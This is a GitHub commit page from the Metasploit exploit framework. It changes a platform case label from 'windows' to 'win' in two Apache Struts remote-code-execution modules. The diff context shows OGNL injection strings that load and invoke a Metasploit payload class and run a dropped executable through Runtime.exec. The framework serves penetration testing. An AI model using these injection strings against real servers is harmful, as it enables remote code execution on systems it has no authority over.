Skip to content

Commit

Permalink
Fix the case statements to match platform
Browse files Browse the repository at this point in the history
  • Loading branch information
HD Moore committed Jun 11, 2014
1 parent d5b32e3 commit 0bac247
Show file tree
Hide file tree
Showing 2 changed files with 2 additions and 2 deletions.
2 changes: 1 addition & 1 deletion modules/exploits/multi/http/struts_code_exec_parameters.rb
Original file line number Diff line number Diff line change
Expand Up @@ -140,7 +140,7 @@ def exploit
exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
when 'windows'
when 'win'
path = temp_path || './'
payload_exe = "#{path}#{payload_exe}.exe"
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{payload_exe}')"
Expand Down
2 changes: 1 addition & 1 deletion modules/exploits/multi/http/struts_include_params.rb
Original file line number Diff line number Diff line change
Expand Up @@ -129,7 +129,7 @@ def exploit
exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
when 'windows'
when 'win'
@payload_exe = "./#{@payload_exe}.exe"
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
else
Expand Down

0 comments on commit 0bac247

Please sign in to comment.